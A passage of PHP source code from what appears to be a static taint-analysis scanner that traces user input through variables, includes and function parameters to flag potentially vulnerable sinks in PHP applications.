$var_declare->comment.$comment, $var_declare->line, false, false, $tainted_vars); $var_trace->line = $var_declare->line; // we only need the last var declaration, other declarations have been overwritten // exception: if elseif statements: // if else at least overwrites vars before if else statement (else always triggers) if( ($userinput || !$vardependent || $var_declare->stopvar) && !in_array('*', $array_key_diff)) break; } } } // if var comes from function parameter AND has not been overwritten with static content before (else) else if($this->in_function && in_array($var_name, $this->function_obj->parameters) && ($GLOBALS['verbosity'] >= 3 || empty($secured)) ) { $key = array_search($var_name, $this->function_obj->parameters); $this->addfunctiondependend($mainparent, $parent, $return_scan, $key); $userinput = 2; } // register globals else if(SCAN_REGISTER_GLOBALS && $var_token[0] === T_VARIABLE && !in_array($var_name, Sources::$V_USERINPUT) && (!$this->in_function || (in_array($var_name, $this->put_in_global_scope) && !in_array($var_name, $this->function_obj->parameters))) && empty($secured)) { // add highlighted line to output, mark tainted vars $var_trace = new VarDeclare(''); $parent->children[] = $var_trace; $var_trace->value = highlightline(array(array(T_VARIABLE,$var_name,0),array(T_CONSTANT_ENCAPSED_STRING,' is not initialized and '.PHPDOC.'register_globals is enabled',0)), $var_declare->comment.$comment, 0, false, false, $tainted_vars); $var_trace->line = 0; $var_trace->marker = 1; $userinput = true; $this->addexploitparameter($mainparent, '$_GET', str_replace('$','',$var_name)); } // if var is userinput, return true directly if( in_array($var_name, Sources::$V_USERINPUT) && empty($secured) ) { // check if userinput variable has been overwritten $overwritten = false; if(isset($var_declares[$var_name])) { foreach($var_declares[$var_name] as $var) { // check if array keys are the same (if it is an array) $array_key_diff = false; if( isset($var_token[3]) && !empty($var_declare->array_keys) ) $array_key_diff = array_diff_assoc($var_token[3], $var_declare->array_keys); // if there is a var declare for this userinput !except the same line!: overwritten if($last_token_id != $var->id && !$array_key_diff) $overwritten = true; } } if(!$overwritten) { // add userinput markers to mainparent object if(isset($var_token[3])) $parameter_name = str_replace(array("'",'"'), '', $var_token[3][0]); else $parameter_name = 'x'; // mark tainted, but only specific $_SERVER parameters if($var_name !== '$_SERVER' || in_array($parameter_name, Sources::$V_SERVER_PARAMS) || substr($parameter_name,0,5) === 'HTTP_') { $userinput = true; $parent->marker = 1; $this->addexploitparameter($mainparent, $var_name, $parameter_name); // analyse depencies for userinput and add it for exploit creator if(!empty($mainparent->dependencies)) { foreach($mainparent->dependencies as $dtokens) { for($t=0;$taddexploitparameter($mainparent, $dtokens[$t][1], str_replace(array('"',"'"), '', $dtokens[$t][3][0])); } } } } } // userinput received in function, just needs a trigger if($this->in_function && !$return_scan) { $this->addtriggerfunction($mainparent); } } } return $userinput; } // add exploit parameter to parent function addexploitparameter($parent, $type, $parameter_name) { if(!empty($parameter_name)) { switch($type) { case '$_GET': $parent->get[] = $parameter_name; break; case '$HTTP_GET_VARS': $parent->get[] = $parameter_name; break; case '$_REQUEST': $parent->get[] = $parameter_name; break; case '$HTTP_REQUEST_VARS': $parent->get[] = $parameter_name; break; case '$_POST': $parent->post[] = $parameter_name; break; case '$HTTP_POST_VARS': $parent->post[] = $parameter_name; break; case '$HTTP_RAW_POST_DATA': $parent->post[] = $parameter_name; break; case '$_COOKIE': $parent->cookie[] = $parameter_name; break; case '$HTTP_COOKIE_VARS': $parent->cookie[] = $parameter_name; break; case '$_FILES': $parent->files[] = $parameter_name; break; case '$HTTP_POST_FILES': $parent->files[] = $parameter_name; break; case '$_SERVER': $parent->server[] = $parameter_name; break; } } } // add function to output that triggers something by call function addtriggerfunction($mainparent) { // add dependency and mark this as interesting function $mainparent->dependencies[$this->function_obj->lines[0]] = $this->function_obj->tokens; $mainparent->title = "Userinput reaches sensitive sink when function {$this->function_obj->name}() is called."; // add function to scanlist $mainparent->funcdepend = $this->function_obj->name; // with all parameters as valuable since userinput comes from inside the func $GLOBALS['user_functions'][$this->file_name][$this->function_obj->name][0][0] = 0; // no securings $GLOBALS['user_functions'][$this->file_name][$this->function_obj->name][1] = array(); // doesnt matter if called with userinput or not $GLOBALS['user_functions'][$this->file_name][$this->function_obj->name][3] = true; } // add function declaration to parent and mark the block as dependend of this function calls function addfunctiondependend($mainparent, $parent, $return_scan, $key) { // add child with function declaration $func_name = $this->function_obj->name; $mainparent->lines[] = $this->function_obj->lines[0]; if($this->function_obj->marker !== 3) { $this->function_obj->value = highlightline($this->function_obj->tokens, '', $this->function_obj->lines[0]); // mark as potential userinput $this->function_obj->marker = 3; } $parent->children[] = $this->function_obj; // add function to scanlist if(!$return_scan) { $mainparent->funcdepend = $func_name; // $mainparent->funcdependparam != $GLOBALS['user_functions'][$this->file_name][$func_name][0] $mainparent->funcparamdepend[] = $key+1; // with potential parameters $map = $key < 0 ? 0 : $key; // scan this userfunction with the vuln parameter $GLOBALS['user_functions'][$this->file_name][$func_name][0][$map] = $key+1; // and with according securing functions from original find $GLOBALS['user_functions'][$this->file_name][$func_name][1] = isset($GLOBALS['scan_functions'][$mainparent->name][1]) ? $GLOBALS['scan_functions'][$mainparent->name][1] : $GLOBALS['user_functions'][$this->file_name][$mainparent->name][1]; } } // add a variable to the varlist function variable_add($var_name, $tokens, $comment, $tokenscanstart, $tokenscanstop, $linenr, $id, $array_keys=array(), $additional_keys=array()) { // add variable declaration to beginning of varlist $new_var = new VarDeclare($tokens,$this->comment . $comment); $new_var->line = $linenr; $new_var->id = $id; if($tokenscanstart) $new_var->tokenscanstart = $tokenscanstart; if($tokenscanstop) $new_var->tokenscanstop = $tokenscanstop; // add dependencies foreach($this->dependencies as $deplinenr=>$dependency) { if(!empty($dependency)) $new_var->dependencies[$deplinenr] = $dependency; } // if $GLOBALS['x'] is used outside a function its the same as using var $x, rewrite if($var_name === '$GLOBALS' && !empty($array_keys) && !$this->in_function) { $var_name = '$'.array_shift($array_keys); } // add additional array keys if(!empty($additional_keys)) { if(empty($array_keys)) $array_keys[] = $additional_keys; else $array_keys = array_merge($array_keys, array($additional_keys)); } // add/resolve array keys if(!empty($array_keys)) { foreach($array_keys as $key) { if(!is_array($key)) $new_var->array_keys[] = $key; else { $recstring = Analyzer::get_tokens_value( $this->file_pointer, $key, $this->in_function ? $this->var_declares_local : $this->var_declares_global, $this->var_declares_global, $id ); if(!empty($recstring)) $new_var->array_keys[] = $recstring; else $new_var->array_keys[] = '*'; } } } if($this->in_function) { if(!isset($this->var_declares_local[$var_name])) $this->var_declares_local[$var_name] = array($new_var); else array_unshift($this->var_declares_local[$var_name], $new_var); // if variable was put in global scope, save assignments // later they will be pushed to the global var list when function is called if(in_array($var_name, $this->put_in_global_scope)) { if(!isset($this->globals_from_function[$this->function_obj->name][$var_name])) $this->globals_from_function[$this->function_obj->name][$var_name] = array($new_var); else array_unshift($this->globals_from_function[$this->function_obj->name][$var_name], $new_var); } } else { if(!isset($this->var_declares_global[$var_name])) $this->var_declares_global[$var_name] = array($new_var); else array_unshift($this->var_declares_global[$var_name], $new_var); } } // scans variable for $$dynamic vars or $dynamic() function calls function variable_scan($i, $offset, $category, $title) { if(isset($this->scan_functions[$category])) { // build new find $new_find = new VulnTreeNode(); $new_find->name = $category; $new_find->lines[] = $this->tokens[$i][2]; // count sinks $GLOBALS['file_sinks_count'][$this->file_pointer]++; if($this->in_function) { $GLOBALS['user_functions_offset'][$this->function_obj->name][6]++; } else { $GLOBALS['user_functions_offset']['__main__'][6]++; } // add dependencies foreach($this->dependencies as $deplinenr=>$dependency) { if(!empty($dependency)) $new_find->dependencies[$deplinenr] = $dependency; } // trace back parameters and look for userinput $userinput = $this->scan_parameter( $new_find, $new_find, $this->tokens[$i], $this->tokens[$i][3], $i, $this->in_function ? $this->var_declares_local : $this->var_declares_global, $this->var_declares_global, false, array() ); // add find to output if function call has variable parameters (With userinput) if( $userinput || $GLOBALS['verbosity'] == 4 ) { $new_find->filename = $this->file_pointer; $new_find->value = highlightline(array_slice($this->tokens, $i-$offset, $offset+3+Analyzer::getBraceEnd($this->tokens, $i+2)), $this->comment, $this->tokens[$i][2], $this->tokens[$i][1], false, array(1)); // add to output $new_find->title = $title; $block = new VulnBlock($this->tif.'_'.$this->tokens[$i][2].'_'.basename($this->file_pointer), getVulnNodeTitle($category), $this->tokens[$i][1]); $block->treenodes[] = $new_find; if($userinput == 1 || $GLOBALS['verbosity'] == 4) { $block->vuln = true; increaseVulnCounter($category); } $GLOBALS['output'][$this->file_name][] = $block; if($this->in_function) { $this->ignore_securing_function = true; // mark function in class as vuln if($this->in_class) { $this->vuln_classes[$this->class_name][] = $this->function_obj->name; } } // add register_globals implementation if($category === 'extract') { $this->variable_add( 'register_globals', array_merge(array_slice($this->tokens, $i-$offset, ($end=$offset+3+Analyzer::getBraceEnd($this->tokens, $i+2))),array(array(T_COMMENT,'// is like ',0),array(T_STRING,'import_request_variables',0),'(',')')), 'see above', 1, $end+2, $this->tokens[$i][2], $i, isset($this->tokens[$i][3]) ? $this->tokens[$i][3] : array() ); } } } } // check if same vulnBlock with the same unique identifier has already been scanned function already_scanned($i) { $uid = $this->tif.'_'.$this->tokens[$i][2].'_'.basename($this->file_pointer); foreach($GLOBALS['output'] as $file) { foreach($file as $vulnBlock) { if($vulnBlock->uid == $uid && $vulnBlock->vuln) { $vulnBlock->alternatives[] = $this->file_name; return true; } } } return false; } // check if securing function is listed as securing that depends on quotes function quote_analysis_needed() { foreach($this->securedby as $var=>$func) { if(in_array($func, $GLOBALS['F_QUOTE_ANALYSIS'])) return true; } return false; } // parse tokens of php file, build program model, follow program flow, initiate taint analysis function parse() { // scan all tokens for($i=0,$tokencount=count($this->tokens); $i<$tokencount; $i++, $this->tif++) { if( is_array($this->tokens[$i]) ) { $token_name = $this->tokens[$i][0]; $token_value = $this->tokens[$i][1]; $line_nr = $this->tokens[$i][2]; // add preloader info for big files if($line_nr % PRELOAD_SHOW_LINE == 0) { echo $GLOBALS['fit'] . '|' . $GLOBALS['file_amount'] . '|' . $this->file_pointer . ' (line ' . $line_nr . ')|' . $GLOBALS['timeleft'] . '|' . "\n"; @ob_flush(); flush(); } # debug #echo "file:".$file_name.",line:".$line_nr.",token:".token_name($token_name).","; #echo "value:".htmlentities($token_value).","; #echo "in_function:".$in_function.",in_class:".$in_class."
    "; /************************* T_VARIABLE *************************/ if($token_name === T_VARIABLE) { // $var() if($this->tokens[$i+1][0] === '(') { $this->variable_scan($i, 0, 'eval', 'Userinput is used as dynamic function name. Arbitrary functions may be called.'); } // $$var = else if( ($this->tokens[$i-1] === '$' || ($this->tokens[$i-1] === '{' && $this->tokens[$i-2] === '$')) && ($this->tokens[$i+1] === '=' || in_array($this->tokens[$i+1][0], Tokens::$T_ASSIGNMENT)) ) { $this->variable_scan($i, $this->tokens[$i-1] === '{' ? 2 : 1, 'extract', 'Userinput is used to build the variable name. Arbitrary variables may be overwritten/initialized which may lead to further vulnerabilities.'); } // foreach($var as $key => $value) else if( $this->tokens[$i-1][0] === T_AS || ($this->tokens[$i-1][0] === T_DOUBLE_ARROW && $this->tokens[$i-2][0] === T_VARIABLE && $this->tokens[$i-3][0] === T_AS) ) { $c=3; while($this->tokens[$i-$c][0] !== T_FOREACH) { $c++; if(($i-$c)<0 || $this->tokens[$i-$c] === ';') { addError('Could not find FOREACH token before AS token', array_slice($this->tokens, $i-5, 10), $this->tokens[$i-1][2], $this->file_pointer); break; } } $this->variable_add( $token_value, array_slice($this->tokens, $i-$c, $c+Analyzer::getBraceEnd($this->tokens, $i)), '', 0, 0, $line_nr, $i, isset($this->tokens[$i][3]) ? $this->tokens[$i][3] : array() ); } // for($var=1; ...) : add whole instruction block to output else if( $this->tokens[$i-2][0] === T_FOR && ($this->tokens[$i+1] === '=' || in_array($this->tokens[$i+1][0], Tokens::$T_ASSIGNMENT)) ) { $c=1; $newbraceopen = 1; $firstsemi = 0; // do not use getBraceEnd() here, because we dont want to stop at ';' in for(;;) while( $newbraceopen !== 0 ) { // watch function calls in function call if( $this->tokens[$i + $c] === '(' ) { $newbraceopen++; } else if( $this->tokens[$i + $c] === ')' ) { $newbraceopen--; } else if( $this->tokens[$i + $c] === ';' && $firstsemi < 1 ) { $firstsemi = $c; } $c++; if(!isset($this->tokens[$i+$c])) { addError('Could not find closing parenthesis of for-statement.', array_slice($this->tokens, $i-2, 10), $this->tokens[$i-2][2], $this->file_pointer); break; } } // overwrite value of first var because it is looped // this is an assumption, other vars could be declared for($var1=1;$var2=2;...) $this->tokens[$i+2][0] = T_ENCAPSED_AND_WHITESPACE; $this->tokens[$i+2][1] = '*'; $this->variable_add( $token_value, array_slice($this->tokens, $i-2, $c+2), '', 1, 2+$firstsemi, $line_nr, $i, isset($this->tokens[$i][3]) ? $this->tokens[$i][3] : array() ); } // $var = ...; else if( $this->tokens[$i+1] === '=' || in_array($this->tokens[$i+1][0], Tokens::$T_ASSIGNMENT) ) { $vardeclare = array(); // $var = array(1,2,3,4); if($this->tokens[$i+2][0] === T_ARRAY && $this->tokens[$i+3] === '(' && $this->tokens[$i+4] !== ')') { $d = 4; $keyindex = 0; $newbraceopen = 1; $keytokens = array(); $valuetokens = array(); while( !($newbraceopen === 0 || $this->tokens[$i + $d] === ';') && $keyindex < MAX_ARRAY_ELEMENTS ) { // count parameters if( $newbraceopen === 1 && ($this->tokens[$i + $d] === ',' || $this->tokens[$i + $d] === ')' )) { $newindexvar = $this->tokens[$i]; $newindexvar[3][] = empty($keytokens) ? $keyindex : $keytokens; $this->variable_add( $token_value, array_merge(array($newindexvar,$this->tokens[$i+1]), $valuetokens), ' array() ', in_array($this->tokens[$i+1][0], Tokens::$T_ASSIGNMENT) ? 0 : 1, 0, $line_nr, $i, isset($this->tokens[$i][3]) ? $this->tokens[$i][3] : array(), empty($keytokens) ? $keyindex : $keytokens ); $keyindex++; $keytokens = array(); $valuetokens = array(); } // watch function calls in array braces else if( $this->tokens[$i + $d] === '(' ) { $newbraceopen++; } else if( $this->tokens[$i + $d] === ')' ) { $newbraceopen--; } // "=>" detected, tokens before are keyname, next one value else if( $this->tokens[$i + $d][0] === T_DOUBLE_ARROW ) { $keytokens = $valuetokens; $valuetokens = array(); } // main else { $valuetokens[] = $this->tokens[$i + $d]; } $d++; if(!isset($this->tokens[$i+$d])) { addError('Could not find closing parenthesis of array()-declaration.', array_slice($this->tokens, $i, 10), $this->tokens[$i+2][2], $this->file_pointer); break; } } $vardeclare['end'] = Analyzer::getBraceEnd($this->tokens, $i)+1; // $var = anything; } else { $this->variable_add( $token_value, array_slice($this->tokens, $i, $vardeclare['end'] = Analyzer::getBraceEnd($this->tokens, $i)+1), '', in_array($this->tokens[$i+1][0], Tokens::$T_ASSIGNMENT) ? 0 : 1, 0, $line_nr, $i, isset($this->tokens[$i][3]) ? $this->tokens[$i][3] : array() ); } // save var and var declare scope for data leak scan $vardeclare['start'] = $i; $vardeclare['name'] = $token_value; $vardeclare['linenr'] = $line_nr; $vardeclare['end'] += $i-1; } // $class->var //else if ($token_name === T_STRING && $tokens[$i-1][0] === T_OBJECT_OPERATOR && $tokens[$i-2][0] === T_VARIABLE) // add user input variables to global finding list if( in_array($token_value, Sources::$V_USERINPUT) ) { if(isset($this->tokens[$i][3])) { if(!is_array($this->tokens[$i][3][0])) $GLOBALS['user_input'][$token_value.'['.$this->tokens[$i][3][0].']'][$this->file_pointer][] = $line_nr; else $GLOBALS['user_input'][$token_value.'['.Analyzer::get_tokens_value( $this->file_pointer, $this->tokens[$i][3][0], $this->in_function ? $this->var_declares_local : $this->var_declares_global, $this->var_declares_global, $i ).']'][$this->file_pointer][] = $line_nr; } else $GLOBALS['user_input'][$token_value][$this->file_pointer][] = $line_nr; // count found userinput in function for graphs if($this->in_function) { $GLOBALS['user_functions_offset'][$this->function_obj->name][5]++; } else { $GLOBALS['user_functions_offset']['__main__'][5]++; } } } // check if token is a function call and a function to scan // do not check if next token is '(' because: require $inc; does not use () else if( in_array($token_name, Tokens::$T_FUNCTIONS) || (in_array($token_name, Tokens::$T_XSS) && ($_POST['vector'] == 'client' || $_POST['vector'] == 'xss' || $_POST['vector'] == 'all')) ) { $class=''; /************************* T_STRING *************************/ if($token_name === T_STRING && $this->tokens[$i+1] === '(') { // define("FOO", $_GET['asd']); if($token_value === 'define') { $c=1; while($this->tokens[$i+$c] !== ',') { $c++; if($this->tokens[$i+$c] === ';' || !isset($this->tokens[$i+$c])) { addError('Second parameter of define() is missing.', array_slice($this->tokens, $i, $c), $this->tokens[$i][2], $this->file_pointer); break; } } $this->variable_add( str_replace(array('"',"'"), '', $this->tokens[$i+2][1]), array_slice($this->tokens, $i, Analyzer::getBraceEnd($this->tokens, $i)+1), ' define() ', $c, 0, $line_nr, $i ); } // ini_set() else if($token_value === 'ini_set') { $setting = str_replace(array("'", '"'), '', $this->tokens[$i+2][1]); // ini_set('include_path', 'foo/bar') if ($setting === 'include_path') { $path = Analyzer::get_tokens_value( $this->file_pointer, array_slice($this->tokens, $i+4,Analyzer::getBraceEnd($this->tokens, $i+4)+1), $this->in_function ? $this->var_declares_local : $this->var_declares_global, $this->var_declares_global, $i ); $this->include_paths = array_unique(array_merge($this->include_paths, Analyzer::get_ini_paths($path))); } } // set_include_path('foo/bar') else if($token_value === 'set_include_path') { $path = Analyzer::get_tokens_value( $this->file_pointer, array_slice($this->tokens, $i+1,Analyzer::getBraceEnd($this->tokens, $i+1)+1), $this->in_function ? $this->var_declares_local : $this->var_declares_global, $this->var_declares_global, $i ); $this->include_paths = array_unique(array_merge($this->include_paths, Analyzer::get_ini_paths($path))); } // treat error handler as called function else if($token_value === 'set_error_handler') { $token_value = str_replace(array('"',"'"), '', $this->tokens[$i+2][1]); } // $array = compact("event", "city"); else if($token_value === 'compact' && $this->tokens[$i-2][0] === T_VARIABLE) { $f=2; while( $this->tokens[$i+$f] !== ')' ) { // for all array keys save new variable declarations if($this->tokens[$i+$f][0] === T_CONSTANT_ENCAPSED_STRING) { $this->variable_add( $this->tokens[$i-2][1], array( array( T_VARIABLE, $this->tokens[$i-2][1], $line_nr, array(str_replace(array('"',"'"),'',$this->tokens[$i+$f][1])) ), '=', array(T_VARIABLE, '$'.str_replace(array('"',"'"), '', $this->tokens[$i+$f][1]), $line_nr), ';' ), ' compact() ', 2, 0, $line_nr, $i, $this->tokens[$i-2][3], str_replace(array('"',"'"),'',$this->tokens[$i+$f][1]) ); } $f++; if($this->tokens[$i+$f] === ';' || !isset($this->tokens[$i+$f])) { addError('Closing parenthesis of compact() is missing.', array_slice($this->tokens, $i, $f), $this->tokens[$i][2], $this->file_pointer); break; } } } // preg_match($regex, $source, $matches), save $matches as var declare else if($token_value === 'preg_match' || $token_value === 'preg_match_all') { $c = 2; $parameter = 1; $newbraceopen = 1; while( $newbraceopen !== 0 ) { if( is_array($this->tokens[$i + $c]) && $this->tokens[$i + $c][0] === T_VARIABLE && $parameter == 3) { // add variable declaration to beginning of varlist // fake assignment parameter so it will not get traced $this->variable_add( $this->tokens[$i + $c][1], array_slice($this->tokens,$i,Analyzer::getBraceEnd($this->tokens,$i+2)+3), ' preg_match() ', 0, $c-1, $this->tokens[$i + $c][2], $i, isset($this->tokens[$i+$c][3]) ? $this->tokens[$i+$c][3] : array() ); } // count parameters else if( $newbraceopen === 1 && $this->tokens[$i + $c] === ',' ) { $parameter++; } // watch function calls in function call else if( $this->tokens[$i + $c] === '(' ) { $newbraceopen++; } else if( $this->tokens[$i + $c] === ')' ) { $newbraceopen--; } else if($this->tokens[$i+$c] === ';' || !isset($this->tokens[$i+$c])) { addError('Closing parenthesis of '.$token_value.'() is missing.', array_slice($this->tokens, $i, $c), $this->tokens[$i][2], $this->file_pointer); break; } $c++; } } // import_request_variables() else if($token_value === 'import_request_variables') { // add register_globals implementation $this->variable_add( 'register_globals', array_slice($this->tokens, $i, Analyzer::getBraceEnd($this->tokens, $i+1)+1), 'register_globals implementation', 0, 0, $line_nr, $i, isset($this->tokens[$i][3]) ? $this->tokens[$i][3] : array() ); } // parse_str() else if($token_value === 'parse_str') { $c = 2; $parameter = 1; $newbraceopen = 1; while( $newbraceopen !== 0 ) { if( is_array($this->tokens[$i + $c]) && $this->tokens[$i + $c][0] === T_VARIABLE && $parameter == 2) { // add variable declaration to beginning of varlist // fake assignment parameter so it will not get traced $this->variable_add( $this->tokens[$i + $c][1], array_slice($this->tokens,$i,Analyzer::getBraceEnd($this->tokens,$i+2)+3), ' parse_str() ', 0, $c-1, $this->tokens[$i + $c][2], $i, isset($this->tokens[$i+$c][3]) ? $this->tokens[$i+$c][3] : array() ); } // count parameters else if( $newbraceopen === 1 && $this->tokens[$i + $c] === ',' ) { $parameter++; } // watch function calls in function call else if( $this->tokens[$i + $c] === '(' ) { $newbraceopen++; } else if( $this->tokens[$i + $c] === ')' ) { $newbraceopen--; } else if($this->tokens[$i+$c] === ';' || !isset($this->tokens[$i+$c])) { addError('Closing parenthesis of '.$token_value.'() is missing.', array_slice($this->tokens, $i, $c), $this->tokens[$i][2], $this->file_pointer); break; } $c++; } } //add interesting function calls to info gathering if( isset($this->info_functions[$token_value]) ) { $GLOBALS['info'][] = $this->info_functions[$token_value]; } // watch constructor calls $var = Classname($constructor_param); else if( $this->tokens[$i-1][0] !== T_NEW && isset($this->vuln_classes[$token_value]) ) { $this->class_vars[ $this->tokens[$i-2][1] ] = $token_value; } // add function call to user-defined function list else { // $classvar->bla() if($this->tokens[$i-1][0] === T_OBJECT_OPERATOR) { $classvar = $this->tokens[$i-2][1]; if($classvar[0] !== '$') $classvar = '$'.$classvar; $class = ($classvar === '$this' || $classvar === '$self') ? $this->class_name : $this->class_vars[$classvar]; } // CLASS::func() else if($this->tokens[$i-1][0] === T_DOUBLE_COLON) { $class = $this->tokens[$i-2][1]; } // save function call for graph if(isset($GLOBALS['user_functions_offset'][($class?$class.'::':'').$token_value])) { $GLOBALS['user_functions_offset'][($class?$class.'::':'').$token_value][3][] = array($this->file_pointer, $line_nr); if($this->in_function) { $GLOBALS['user_functions_offset'][$this->function_obj->name][4][] = $token_value; } else { $GLOBALS['user_functions_offset']['__main__'][4][] = $token_value; } } // check if token is function call that affects variable scope (global) if( isset($this->globals_from_function[$token_value]) ) { // put all previously saved global var assignments to global scope foreach($this->globals_from_function[$token_value] as $var_name=>$new_vars) { foreach($new_vars as $new_var) { $new_var->comment = $new_var->comment . " by $token_value()"; if(!isset($this->var_declares_global[$var_name])) $this->var_declares_global[$var_name] = array($new_var); else array_unshift($this->var_declares_global[$var_name], $new_var); } } } } } /************************* FILE INCLUSION *************************/ // include tokens from included files else if( in_array($token_name, Tokens::$T_INCLUDES) && !$this->in_function) { $GLOBALS['count_inc']++; // include('xxx') if ( (($this->tokens[$i+1] === '(' && $this->tokens[$i+2][0] === T_CONSTANT_ENCAPSED_STRING && $this->tokens[$i+3] === ')') // include 'xxx' || (is_array($this->tokens[$i+1]) && $this->tokens[$i+1][0] === T_CONSTANT_ENCAPSED_STRING && $this->tokens[$i+2] === ';' )) ) { // include('file') if($this->tokens[$i+1] === '(') { $inc_file = substr($this->tokens[$i+2][1], 1, -1); $skip = 5; } // include 'file' else { $inc_file = substr($this->tokens[$i+1][1], 1, -1); $skip = 3; } } // dynamic include else { $inc_file = Analyzer::get_tokens_value( $this->file_pointer, array_slice($this->tokens, $i+1, $c=Analyzer::getBraceEnd($this->tokens, $i+1)+1), $this->in_function ? $this->var_declares_local : $this->var_declares_global, $this->var_declares_global, $i ); // in case the get_var_value added several php files, take the first $several = explode('.php', $inc_file); if(count($several) > 1) $try_file = $several[0] . '.php'; $skip = $c+1; // important to save $c+1 here } $try_file = $inc_file; // try absolute include path foreach($this->include_paths as $include_path) { if(is_file("$include_path/$try_file")) { $try_file = "$include_path/$try_file"; break; } } // if dirname(__FILE__) appeared it was an absolute path if(!is_file($try_file)) { // check relativ path $try_file = dirname($this->file_name). '/' . $inc_file; if(!is_file($try_file)) { $other_try_file = dirname($this->file_pointer). '/' . $inc_file; // if file can not be found check include_path if set if(!is_file($other_try_file)) { if(isset($this->include_paths[0])) { foreach($this->include_paths as $include_path) { if(is_file(dirname($this->file_name).'/'.$include_path.'/'.$inc_file)) { $try_file = dirname($this->file_name).'/'.$include_path.'/'.$inc_file; break; } else if(is_file(dirname($this->file_pointer).'/'.$include_path.'/'.$inc_file)) { $try_file = dirname($this->file_pointer).'/'.$include_path.'/'.$inc_file; break; } } } // if still not a valid file, look a directory above if(!is_file($try_file)) { $try_file = str_replace('\\', '/', $try_file); $pos = strlen($try_file); // replace each found / with /../, start from the end of file name for($c=1; $cinc_map)) { // Tokens $tokenizer = new Tokenizer($try_file); $inc_tokens = $tokenizer->tokenize(implode('',$inc_lines)); unset($tokenizer); // if(include('file')) { - include tokens after { and not into the condition :S if($this->in_condition) { $this->tokens = array_merge( array_slice($this->tokens, 0, $this->in_condition+1), // before include in condition $inc_tokens, // included tokens array(array(T_INCLUDE_END, 0, 1)), // extra END-identifier array_slice($this->tokens, $this->in_condition+1) // after condition ); } else { // insert included tokens in current tokenlist and mark end $this->tokens = array_merge( array_slice($this->tokens, 0, $i+$skip), // before include $inc_tokens, // included tokens array(array(T_INCLUDE_END, 0, 1)), // extra END-identifier array_slice($this->tokens, $i+$skip) // after include ); } $tokencount = count($this->tokens); // set lines pointer to included lines, save last pointer // (the following tokens will be the included ones) $this->lines_stack[] = $inc_lines; $this->lines_pointer = end($this->lines_stack); // tokennr in file $this->tif_stack[] = $this->tif; $this->tif = -$skip; // set the current file pointer $this->file_pointer = $try_file; if(!isset($GLOBALS['file_sinks_count'][$this->file_pointer])) $GLOBALS['file_sinks_count'][$this->file_pointer] = 0; echo $GLOBALS['fit'] . '|' . $GLOBALS['file_amount'] . '|' . $this->file_pointer . '|' . $GLOBALS['timeleft'] . '|' ."\n"; @ob_flush(); flush(); $this->comment = basename($inc_file); $this->inc_file_stack[] = $try_file; // build include map for file list $this->inc_map[] = $try_file; // all basic includes } } // included file name could not be reversed // (probably dynamic with function calls) else { $GLOBALS['count_inc_fail']++; // add information about include error in debug mode if( $GLOBALS['verbosity'] == 5 ) { // add include command to output $found_value = highlightline(array_slice($this->tokens,$i,$skip), $this->comment, $line_nr, $token_value); $new_find = new InfoTreeNode($found_value); $new_find->lines[] = $line_nr; $new_find->filename = $this->file_pointer; $new_find->title = "Include error: tried to include: ".$try_file_unreal; if(isset($GLOBALS['output'][$this->file_name]['inc'])) { $GLOBALS['output'][$this->file_name]['inc']->treenodes[] = $new_find; } else { $new_block = new VulnBlock($this->tif.'_'.$this->tokens[$i][2].'_'.basename($this->file_pointer), 'Debug'); $new_block->treenodes[] = $new_find; $new_block->vuln = true; $GLOBALS['output'][$this->file_name]['inc'] = $new_block; } } } } /************************* TAINT ANALYSIS *************************/ if(isset($this->scan_functions[$token_value]) && $GLOBALS['verbosity'] != 5 // not a function of a class or a function of a vulnerable class && (empty($class) || (($this->in_function && is_array($this->function_obj->parameters) && in_array($classvar, $this->function_obj->parameters)) || @in_array($token_value, $this->vuln_classes[$class]))) ) { if(!$this->already_scanned($i)) { // build new find $new_find = new VulnTreeNode(); $new_find->name = $token_value; $new_find->lines[] = $line_nr; // add dependencies (already here, because checked during var trace foreach($this->dependencies as $deplinenr=>$dependency) { if(!empty($dependency)) $new_find->dependencies[$deplinenr] = $dependency; } // count sinks $GLOBALS['file_sinks_count'][$this->file_pointer]++; if($this->in_function) { $GLOBALS['user_functions_offset'][$this->function_obj->name][6]++; } else { $GLOBALS['user_functions_offset']['__main__'][6]++; } $parameter = 1; $var_counter = 0; $vulnparams = array(0); $has_vuln_parameters = false; $parameter_has_userinput = false; $parameter_func_depend = false; $secured_by_start = false; // function calls without quotes (require $inc;) --> no brace count $parentheses_open = ($this->tokens[$i+1] === '(') ? 1 : -2; // -2: detection of braces doesnt matter $parentheses_save = -1; $in_securing = false; $ignore_securing = false; $c = ($this->tokens[$i+1] === '(') ? 2 : 1; // important $tainted_vars = array(); $reconstructstr = ''; $addtitle=''; $this->securedby = array(); // get all variables in parameter list between (...) // not only until ';' because: system(get($a),$b,strstr($c)); while( $parentheses_open !== 0 && $this->tokens[$i + $c] !== ';' ) { $this_one_is_secure = false; if( is_array($this->tokens[$i + $c]) ) { // scan variables and constants if( ($this->tokens[$i + $c][0] === T_VARIABLE && $this->tokens[$i + $c +1][0] !==T_OBJECT_OPERATOR) || ($this->tokens[$i + $c][0] === T_STRING && $this->tokens[$i + $c+1] !== '(') ) { $var_counter++; // scan only potential vulnerable parameters of function call if ( in_array($parameter, $this->scan_functions[$token_value][0]) || (isset($this->scan_functions[$token_value][0][0]) && $this->scan_functions[$token_value][0][0] === 0) ) // all parameters accepted { $has_vuln_parameters = true; if((is_array($this->tokens[$i+$c-1]) && in_array($this->tokens[$i+$c-1][0], Tokens::$T_CASTS)) || (is_array($this->tokens[$i+$c+1]) && in_array($this->tokens[$i+$c+1][0], Tokens::$T_ARITHMETIC)) || $in_securing ) { $secured_by_start = true; $this_one_is_secure = true; } if($in_securing && !$ignore_securing) $this->securedby[] = $securing_function; // trace back parameters and look for userinput, trace constants globally $userinput = $this->scan_parameter( $new_find, $new_find, $this->tokens[$i+$c], $this->tokens[$i+$c][3], $i+$c, ($this->in_function && $this->tokens[$i + $c][1][0] === '$') ? $this->var_declares_local : $this->var_declares_global, $this->var_declares_global, false, $this->scan_functions[$token_value][1], false, // no return-scan $ignore_securing, ($this_one_is_secure || $in_securing) ); $reconstructstr.= Analyzer::get_var_value( $this->file_pointer, $this->tokens[$i+$c], ($this->in_function && $this->tokens[$i + $c][1][0] === '$') ? $this->var_declares_local : $this->var_declares_global, $this->var_declares_global, $i+$c, $this->source_functions ); if($userinput /*&& (!$this_one_is_secure || $GLOBALS['verbosity'] == 3)*/ ) { $vulnparams[] = $parameter; if($userinput == 1) $parameter_has_userinput = true; else if($userinput == 2) $parameter_func_depend = true; $tainted_vars[] = $var_counter; } } // mark userinput for quote analysis 